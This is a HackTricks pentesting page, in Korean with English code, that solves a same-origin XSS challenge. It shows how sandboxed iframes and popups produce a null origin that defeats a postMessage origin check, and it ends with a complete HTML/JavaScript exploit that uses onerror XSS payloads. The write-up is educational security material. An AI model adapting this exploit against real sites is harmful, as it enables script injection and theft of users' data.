hacktricks/src/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md

72 lines
3.8 KiB
Markdown

# Bypassing SOP with Iframes - 1
{{#include ../../banners/hacktricks-training.md}}
## Iframes in SOP-1
이 [**도전 과제**](https://github.com/terjanq/same-origin-xss)는 [**NDevTK**](https://github.com/NDevTK)와 [**Terjanq**](https://github.com/terjanq)가 만든 것으로, 코딩된 XSS를 이용해야 합니다.
```javascript
const identifier = "4a600cd2d4f9aa1cfb5aa786"
onmessage = (e) => {
const data = e.data
if (e.origin !== window.origin && data.identifier !== identifier) return
if (data.type === "render") {
renderContainer.innerHTML = data.body
}
}
```
주요 문제는 [**메인 페이지**](https://so-xss.terjanq.me)가 DomPurify를 사용하여 `data.body`를 전송하기 때문에, 자신의 HTML 데이터를 해당 코드로 전송하려면 **bypass** `e.origin !== window.origin`을 해야 한다는 것입니다.
제안된 해결책을 살펴보겠습니다.
### SOP bypass 1 (e.origin === null)
`//example.org`**sandboxed iframe**에 포함되면, 페이지의 **origin**은 **`null`**이 됩니다. 즉, **`window.origin === null`**입니다. 따라서 `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">`를 통해 iframe을 포함시키기만 하면 **`null` origin**을 **강제**할 수 있습니다.
페이지가 **embeddable**이었다면, 그 방법으로 보호를 우회할 수 있습니다 (쿠키는 `SameSite=None`으로 설정해야 할 수도 있습니다).
### SOP bypass 2 (window.origin === null)
덜 알려진 사실은 **sandbox 값 `allow-popups`가 설정되면** **열린 팝업**이 모든 **sandboxed attributes**를 **상속**받는다는 것입니다. `allow-popups-to-escape-sandbox`가 설정되지 않는 한, **null origin**에서 **팝업**을 열면 팝업 내부의 **`window.origin`**도 **`null`**이 됩니다.
### Challenge Solution
따라서 이 챌린지에서는 **iframe**을 **생성**하고, 취약한 XSS 코드 핸들러가 있는 페이지(`/iframe.php`)로 **팝업을 열면**, `window.origin === e.origin`이므로 두 값이 모두 `null`이기 때문에 **XSS를 이용할 수 있는 페이로드를 전송**할 수 있습니다.
**페이로드**는 **식별자**를 가져와서 **XSS**를 **상위 페이지**(팝업을 연 페이지)로 **전송**하며, **상위 페이지**는 **취약한** `/iframe.php`**위치 변경**을 합니다. 식별자가 알려져 있기 때문에 `window.origin === e.origin` 조건이 만족되지 않아도 상관없습니다 (기억하세요, origin은 **origin**이 **`null`**인 iframe의 **팝업**입니다) 왜냐하면 `data.identifier === identifier`이기 때문입니다. 그러면 **XSS가 다시 트리거**되며, 이번에는 올바른 origin에서 발생합니다.
```html
<body>
<script>
f = document.createElement("iframe")
// Needed flags
f.sandbox = "allow-scripts allow-popups allow-top-navigation"
// Second communication with /iframe.php (this is the top page relocated)
// This will execute the alert in the correct origin
const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
},1000);`.replaceAll("\n", " ")
// Initial communication
// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
// Then, bypass window.origin === e.origin to steal the identifier and communicate
// with the top with the second XSS payload
f.srcdoc = `
<h1>Click me!</h1>
<script>
onclick = e => {
let w = open('https://so-xss.terjanq.me/iframe.php');
onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
setTimeout(_ => {
w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
}, 1000);
};
<\/script>
`
document.body.appendChild(f)
</script>
</body>
```
{{#include ../../banners/hacktricks-training.md}}